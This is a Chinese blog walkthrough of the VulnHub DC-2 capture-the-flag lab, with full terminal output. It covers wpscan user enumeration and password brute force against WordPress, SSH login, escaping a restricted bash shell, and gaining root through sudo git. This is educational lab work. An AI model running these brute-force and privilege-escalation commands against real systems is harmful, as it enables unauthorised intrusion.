vulnhub——DC-2

最新推荐文章于 2024-08-15 20:22:36 发布
最新推荐文章于 2024-08-15 20:22:36 发布
阅读量1.3k 收藏 29
点赞数 28
分类专栏： 靶机渗透 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/XYZCG/article/details/135447452
版权

目录

信息收集

确定目标

└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:9e:68:11, IPv4: 192.168.123.37
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.123.2     d4:8f:a2:9f:51:49       Huawei Device Co., Ltd.
192.168.123.9     30:03:c8:49:52:4d       CLOUD NETWORK TECHNOLOGY SINGAPORE PTE. LTD.
192.168.123.5     3c:55:76:dc:ab:f5 (42:f1:e2:49:51:a5)   CLOUD NETWORK TECHNOLOGY SINGAPORE PTE. LTD.
192.168.123.7     3c:e9:f7:c0:ef:c7 (42:f1:e2:49:51:a5)   Intel Corporate
192.168.123.8     e4:05:41:0c:9a:2c (42:f1:e2:49:51:a5)   (Unknown)
192.168.123.6     7c:b5:66:a5:f0:a5       Intel Corporate
192.168.123.177    00:0c:29:57:ff:26       VMware, Inc.
192.168.123.30    7c:b5:66:a5:f0:a5       Intel Corporate
192.168.123.41    7c:b5:66:a5:f0:a5       Intel Corporate
192.168.123.18    c4:75:ab:58:e4:8b       Intel Corporate
192.168.123.12    42:45:ab:5e:e9:ce       (Unknown: locally administered)

11 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.494 seconds (102.65 hosts/sec). 11 responded



192.168.123.177    00:0c:29:57:ff:26

扫描端口

└─# nmap -sV -p- 192.168.123.177
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-05 10:23 CST
Nmap scan report for 192.168.123.177
Host is up (0.00044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:57:FF:26 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.71 seconds

flag 1

尝试访问80端口开放的web服务，显示无法访问，可能是重定向

修改hosts(windows:C:\Windows\System32\drivers\etc linux: /etc/hosts)文件，加入192.168.123.177 dc-2后，访问正常

右下角发现flag的菜单页

Welcome		What We Do	Our People	Our Products	Flag

FLAG
Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

标志 1：

你常用的单词表可能不起作用，所以，也许你只需要变得聪明。

密码越多越好，但有时你无法全部记住。

以一个身份登录，查看下一个标记。

如果你找不到它，请以另一个身份登录。

flag 2

提示中第一句提到了变得更聪明，而cewl也是一款工具

Cewl是一款采用Ruby开发的应用程序，你可以给它的爬虫指定URL地址和爬取深度，还可以添额外的外部链接，接下来Cewl会给你返回一个字典文件，你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外，Cewl还提供了命令行工具。


┌──(root㉿kali)-[~]
└─# cewl http://dc-2 -w passwd.txt

CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Couldn't hit the site http://dc-2, moving on

┌──(root㉿kali)-[~]
└─# cat passwd.txt     #查看发现为空

┌──(root㉿kali)-[~]
└─# cewl http://192.168.1.36 -w passwd.txt
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

┌──(root㉿kali)-[~]
└─# cat passwd.txt     #查看发现为空，想起开始的重定向，忘了给kali加上了……

┌──(root㉿kali)-[~]
└─# vim /etc/hosts

┌──(root㉿kali)-[~]
└─# systemctl restart networking.service

┌──(root㉿kali)-[~]
└─# cewl http://dc-2 -w passwd.txt
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

┌──(root㉿kali)-[~]
└─# cat passwd.txt
sit
amet
nec
quis
vel
orci
site
……

接下来尝试找到账号和登录框，扫一下目录

┌──(root㉿kali)-[~]
└─# dirb http://192.168.123.177

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Jan  6 19:33:09 2024
URL_BASE: http://192.168.123.177/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.123.177/ ----
+ http://192.168.123.177/index.php (CODE:200|SIZE:53562)
+ http://192.168.123.177/server-status (CODE:403|SIZE:303)
==> DIRECTORY: http://192.168.123.177/wp-admin/
==> DIRECTORY: http://192.168.123.177/wp-content/
==> DIRECTORY: http://192.168.123.177/wp-includes/
+ http://192.168.123.177/xmlrpc.php (CODE:405|SIZE:42)

---- Entering directory: http://192.168.123.177/wp-admin/ ----
+ http://192.168.123.177/wp-admin/admin.php (CODE:302|SIZE:0)    #admin.php
==> DIRECTORY: http://192.168.123.177/wp-admin/css/
==> DIRECTORY: http://192.168.123.177/wp-admin/images/
==> DIRECTORY: http://192.168.123.177/wp-admin/includes/
+ http://192.168.123.177/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.123.177/wp-admin/js/
==> DIRECTORY: http://192.168.123.177/wp-admin/maint/
==> DIRECTORY: http://192.168.123.177/wp-admin/network/
==> DIRECTORY: http://192.168.123.177/wp-admin/user/

---- Entering directory: http://192.168.123.177/wp-content/ ----
+ http://192.168.123.177/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.123.177/wp-content/languages/
==> DIRECTORY: http://192.168.123.177/wp-content/plugins/
==> DIRECTORY: http://192.168.123.177/wp-content/themes/

---- Entering directory: http://192.168.123.177/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.123.177/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.123.177/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.123.177/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.123.177/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.123.177/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.123.177/wp-admin/network/ ----
+ http://192.168.123.177/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://192.168.123.177/wp-admin/network/index.php (CODE:302|SIZE:0)

---- Entering directory: http://192.168.123.177/wp-admin/user/ ----
+ http://192.168.123.177/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://192.168.123.177/wp-admin/user/index.php (CODE:302|SIZE:0)

---- Entering directory: http://192.168.123.177/wp-content/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.123.177/wp-content/plugins/ ----
+ http://192.168.123.177/wp-content/plugins/index.php (CODE:200|SIZE:0)

---- Entering directory: http://192.168.123.177/wp-content/themes/ ----
+ http://192.168.123.177/wp-content/themes/index.php (CODE:200|SIZE:0)

-----------------
END_TIME: Sat Jan  6 19:33:33 2024
DOWNLOADED: 32284 - FOUND: 12

其中看到admin.php,访问看到wordpress的登录页。Wordpress有一个著名的扫描工具wpscan。

有密码字典缺用户名，枚举用户名

┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2/ -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://dc-2/ [192.168.123.177]
[+] Started: Sat Jan  6 20:25:50 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
 | Found By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
 |  - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-11-07T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.4
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <==========================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Jan  6 20:25:52 2024
[+] Requests Done: 58
[+] Cached Requests: 6
[+] Data Sent: 13.894 KB
[+] Data Received: 514.805 KB
[+] Memory used: 197.43 MB
[+] Elapsed time: 00:00:02

枚举了三个，admin、jerry、tom，同时创建一个文本user.txt，将其保存

完成后。使用wpscan爆破账号密码

┌──(root㉿kali)-[~]
└─# wpscan --url http://dc-2/ -U user.txt -P passwd.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://dc-2/ [192.168.123.177]
[+] Started: Sat Jan  6 20:58:06 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
 | Found By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
 |  - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-11-07T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.4
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <========> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - jerry / adipiscing   # 
[SUCCESS] - tom / parturient
Trying admin / log Time: 00:00:28 <=========       > (646 / 1121) 57.62%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Jan  6 20:58:38 2024
[+] Requests Done: 819
[+] Cached Requests: 5
[+] Data Sent: 364.608 KB
[+] Data Received: 751.28 KB
[+] Memory used: 250.488 MB
[+] Elapsed time: 00:00:31

暴出两组，jerry / adipiscing tom / parturient

使用jerry登录后，点击左侧的Pages发现了flag 2

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

如果你不能利用WordPress并走捷径，还有另一种方法。

希望你能找到另一个切入点。

flag 3

说到另一个切入点，开始扫描端口时还有个端口改成7744的ssh服务

┌──(root㉿kali)-[~]
└─# ssh jerry@192.168.123.177 -p 7744
The authenticity of host '[192.168.123.177]:7744 ([192.168.123.177]:7744)' can't be established.
ED25519 key fingerprint is SHA256:JEugxeXYqsY0dfaV/hdSQN31Pp0vLi5iGFvQb8cB1YA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '[192.168.123.177]:7744' (ED25519) to the list of known hosts.
jerry@192.168.123.177's password:
Permission denied, please try again.    # 换另一个试试
jerry@192.168.123.177's password:


┌──(root㉿kali)-[~]
└─# ssh tom@192.168.123.177 -p 7744
tom@192.168.123.177's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tom@DC-2:~$ ls
flag3.txt  usr
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found   # 被-rbash限制

tom@DC-2:~$ compgen -c   # 查看可使用的命令
if
then
else
elif
fi
……
less
scp
ls
vi

tom@DC-2:~$ vi flag3.txt

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

可怜的老汤姆总是追着杰瑞跑。也许他应该起诉杰瑞给他造成的所有压力

flag 4

提到了su，暗示我们提权

rbash环境变量的提权方法（这个方法也是收罗大佬的方法，其原理我也说不清，如果有大佬知道，望在评论区告知）

tom@DC-2:~$ export -p        //查看环境变量
declare -x HOME="/home/tom"
declare -x LANG="en_US.UTF-8"
declare -x LOGNAME="tom"
declare -x MAIL="/var/mail/tom"
declare -x OLDPWD
declare -rx PATH="/home/tom/usr/bin"
declare -x PWD="/home/tom"
declare -rx SHELL="/bin/rbash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="192.168.123.76 43952 7744"
declare -x SSH_CONNECTION="192.168.123.76 43952 192.168.123.177 7744"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="tom"   

tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a  # 把/bin/sh给a
$ /bin/bash
tom@DC-2:~$ export PATH=$PATH:/bin/  # 注：将/bin 作为PATH环境变量导出
tom@DC-2:~$ export PATH=$PATH:/usr/bin  # 注：将/usr/bin作为PATH环境变量导出

提权成功

tom@DC-2:~$ su - jerry  # 加上-可以
Password:
jerry@DC-2:~$ vi flag4.txt


Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

很高兴看到你们已经走了这么远，但你们还没到家。

你仍然需要获得最终的旗帜（唯一真正有价值的旗帜！！！）。

这里没有提示-现在您要靠自己了。

走开——滚出去！！！！

ps:
su 和 su -
- 前者只是切换了root身份，但**Shell环境仍然是普通用户的Shell**；  
- 而后者连用户和Shell环境一起切换成root身份了。**只有切换了Shell环境才不会出现PATH环境变量错误**。

flag 5

提到了git，可能会有个git提权，看这个意思估计是要我们拿下root了


jerry@DC-2:/home/tom$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/at
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/bin/umount
/bin/mount
/bin/su

ps:
find / -perm -u=s -type f 2>/dev/null
这是一个在Unix-like操作系统中使用的`find`命令，用于搜索文件系统。

1. `find`: 这是一个命令行工具，用于在文件系统中搜索文件和目录。
2. `/`: 这是搜索的起始点。在这里，它表示从文件系统的根目录开始搜索。
3. `-perm -u=s`: 这是一个权限选项，用于搜索具有特定权限的文件。

	* `-perm`: 表示根据文件的权限进行搜索。
	* `-u=s`: 表示搜索所有用户（u）具有setuid位（s）的文件。setuid位是一种特殊的权限，当设置了该位的文件被执行时，它会以文件所有者的身份运行，而不是运行者的身份。
4. `-type f`: 这是一个类型选项，表示只搜索普通文件（不包括目录、符号链接等其他类型的文件）。
5. `2>/dev/null`: 这是一个重定向操作，用于丢弃错误消息。具体来说，它将标准错误（文件描述符2）重定向到`/dev/null`，这样任何由于权限问题导致的错误消息都不会显示在屏幕上。

总结：这个命令的目的是查找文件系统中所有设置了setuid位的普通文件，并忽略任何由于权限问题产生的错误消息。


有个sudo

jerry@DC-2:/home/tom$ sudo -l  # 看看啥有sudo权限的
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

git是root权限

我们使用git提权，有两种方法

1、sudo git help config  
!/bin/bash 或 !'sh' # 在末行命令模式输入,完成提权 
2、sudo git -p help 
!/bin/bash #输入!/bin/bash，即可打开一个用户为root的shell

jerry@DC-2:~$ sudo git help config
root@DC-2:/home/jerry#

提权成功 获得root权限，切换到root目录下

root@DC-2:/home/tom# cd /root
root@DC-2:~# ls
final-flag.txt
root@DC-2:~# cat final-flag.txt
 __    __     _ _       _                    _
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

恭喜！！！

特别感谢所有给我发推特的人  
并为我提供了反馈，这对我非常重要  
感谢。

如果你喜欢这个CTF，请通过@DCAU7给我发一条推特。

ps：
在刚刚的rbash绕过时，如果只是想看看flag4的内容也可以使用下面这种简单的方法，即vi的命令模式提权
缺陷是能用的命令还是有限，但是多知道点方法总没错

vi随便打开文件
再下面添加
:set shell=/bin/sh
:shell

$      # 提权成功
$ cd ..
$ ls
jerry  tom
$ cd jerry
$ ls
flag4.txt
$ vi flag4.txt
山风，
关注
专栏目录
Vulnhub靶机实战——DC-2
冠霖L的博客
09-27 4858
靶机DC-2下载地址：https://download.vulnhub.com/dc/DC-2.zip 描述：靶机DC-2与DC-1一样，共有5个flag，但最终需要root权限才可以找到并查看flag 环境：Vmware 15 Pro虚拟机软件 DC-1靶机IP地址：192.168.220.132 Kali的IP地址：192.168.22...
VulnHub——DC-8
菜鸟的学习笔记
01-02 230
DC-8 靶机链接 难度：难、比较复杂 目标：获得root权限并读取唯一flag 信息搜集 1、使用Nmap探测靶机并进行详细扫描。 80端口：Drupal7 此版本有sql注入漏洞。 漏洞挖掘与利用 使用sqlmap进行注入攻击。 sqlmap -u http://192.168.3.46/?nid=2 --level 5 --dbs #获取数据库名 sqlmap -u http://192.168.3.46/?nid=2 --level 5 --D d7db --tables #获取d7db数据
VulnHub——DC-2
菜鸟的学习笔记
12-30 130
DC-2 靶机链接 难度：初学者 任务：获取root权限，5个flag 需修改hosts文件 将“192.168.50.90 dc-2”添加到hosts文件。 信息搜集 使用Nmap探测存活主机。 扫描靶机端口 -A：同时打开操作系统指纹和版本检测 （-O和-osscan-guess也可以探测系统信息） -Pn：非ping扫描，不执行主机发现，可以绕过防火墙 -sV：查找主机服务版本号 -oN：将结果输出为指定文件 访问80端口发现flag1，提示使用cewl工具。 漏洞挖掘与利用 WordPres
Vulnhub靶机——DC-1
流水不争先，争的是滔滔不绝
04-18 923
Vulnhub靶机——DC-1，cms（Drupal 7）存在框架漏洞，msf利用框架漏洞拿到普通用户的shell，再通过SUID提权
Vulnhub靶机渗透学习——DC-9
qq_45612828的博客
07-02 3181
Vulnhub靶机渗透学习——DC-9
Vulnhub靶机渗透测试——DC-4
Cobra的博客
05-03 1818
一、实验环境 攻击机（kail）:192.168.189.148 靶机（ubuntu）：192.168.189.183 二、信息收集 1、使用nmap进行主机发现 nmap 192.168.189.0/24 2、发现IP192.168.189.183，再使用nmap对其进行扫描 nmap -sV -A -T4 -p- 192.168.189.183 3、发现其开放80,22端口，访问其80端口，是一个登录框 4、在对其进行SQL注入，目录扫描无果后，果断选择暴力破解..
Vulnhub靶机渗透学习——DC-2
qq_45612828的博客
10-18 355
wpscan工具使用（wordpress 靶场以及实际中非常常见）rbash 逃逸并提权（vi 进入 /bin/sh, 更改环境变量）学会 git 提权。
Vulnhub靶机渗透测试——DC-1
Cobra的博客
04-12 2599
Vulnhub靶机渗透测试实战——DC-1 一、实验环境 攻击机（kali）: 192.168.189.148 靶机（ubuntu）: 192.168.189.172] 二、信息收集 1、使用nmap扫描进行主机发现 nmap 192.168.189.0/24 2、发现IP为192.168.189.172主机开放80和22等端口，访问其80端口 三、漏洞利用 1、发现该站点是由Drupal搭建，利用msf进行漏洞利用 use exploit/unix/webapp/drupal_drupalgedd
看完这篇 教你玩转渗透测试靶机vulnhub——DC3
热门推荐
Aluxian_的博客
03-23 1万+
Vulnhub靶机DC3渗透测试详解Vulnhub靶机介绍：Vulnhub靶机下载：Vulnhub靶机安装：Vulnhub靶机漏洞详解：①：信息收集：②：漏洞发现：③：SQL注入：④：文件上传：⑤：提权： Vulnhub靶机介绍： vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。 从靶机DC-3开始，只有一个最终的flag，只有拿到root权限才可以发现最终的flag。 Vulnhub靶机下载：
vulnhub靶场——DC-2
pigzlfa的博客
08-15 716
wp-admin 基本上包含了 WordPress安装的所有配置文件，此外，wp-admin 还具有其他的一些功能，例如加载仪表盘，建立与数据库的连接等。文件夹是存储主题，插件，主题升级和上传到网站所有内容（例如图片，视频，音频，PDF文档等等其他文件）的地方，wp-content 文件夹下通常有三个子文件夹，分别是 plugins ，themes 以及 uploads。WordPress 站点目录结构下有三大根文件夹，分别是 wp-admin, wp-includes，wp-content。
vulnhub靶场——DC-1
pigzlfa的博客
08-12 762
下载后解压得到一个ova文件，直接vmware打开（这里我workstation pro17导入会报错，“未通过ovf规范一致性或虚拟硬件合规性检查”没留下截图，查了好多，最后点了重试，结果就就好了- -）这里把靶机和攻击机用同一种模式连接（都是NAT或者都是桥接），保证俩在同一网段，攻击机能访问到就行。有问题，问百度，so，目标有了，去找/sites/default/settings.php。整理一些思路，目前知道了一个flag4的账户，密码未知，还提示让提权root。
Vulnhub靶机实战——DC-3
冠霖L的博客
09-27 9157
靶机DC-3下载地址：https://download.vulnhub.com/dc/DC-3.zip 靶机DC-3VMware下载地址：https://download.vulnhub.com/dc/DC-3VMware.zip 注：开始将DC-3.ova文件导入VMware虚拟机，发现无法获取到靶机IP地址，作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware，然...
Vulnhub靶机实战——DC-5
冠霖L的博客
10-27 4973
靶机DC-5下载地址：https://download.vulnhub.com/dc/DC-5.zip 环境：VMware 15虚拟机软件 DC-5靶机IP地址：192.168.220.139 Kali的IP地址：192.168.220.145 DC-5靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.145 ...
Vulnhub靶机实战——DC-7
冠霖L的博客
10-29 5055
靶机DC-7下载地址：https://download.vulnhub.com/dc/DC-7.zip 环境：VMware 15虚拟机软件 DC-7靶机IP地址：192.168.220.154 Kali的IP地址：192.168.220.155 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.155...
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8546
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
(源码)基于Spring Boot和JWT的饮品管理系统.zip
11-13
# 基于Spring Boot和JWT的饮品管理系统 ## 项目简介 本项目是一个基于Spring Boot框架的饮品管理系统，主要用于管理饮品分类、商品信息、员工登录及权限管理等功能。系统通过JWT（JSON Web Token）实现用户身份验证和授权，确保系统的安全性和可靠性。 ## 项目的主要特性和功能 1. 商品管理包括商品的添加、编辑、删除和查询功能，支持分页查询和按分类查询。 2. 分类管理支持饮品分类的添加和查询，方便用户按类别浏览商品。 3. 员工登录与权限管理实现员工登录功能，并根据员工角色分配不同的菜单权限。 4. 图片上传与管理支持商品图片的上传和更新，确保商品信息的完整性。 5. 验证码生成与验证提供图形验证码的生成和验证功能，增强系统的安全性。 6. JWT身份验证使用JWT实现用户身份验证和授权，确保系统的安全性和可靠性。 ## 安装使用步骤 1. 复制项目 bash 2. 配置数据库
阿里巴巴发布的XQUIC库是QUIC和HTTP3协议的跨平台实现.zip
11-13
c语言
佳能打印机清零软件和教程
最新发布
11-13
佳能打印机清零软件和教程
双哥微服务.md
11-13
双哥微服务
麻省理工许可下的爱的系统工具——love-fetch介绍
具体的许可证版本和标识号为“(c) 2021 法比奥·格里马尔迪”和“78b6e7fc8dc9373eef91496a7881f069b5b3bda0”。这意味着用户可以自由地使用、修改和分发该工具，但需要遵守相应的许可条款。 4. 关键标签： 在标签...
评论
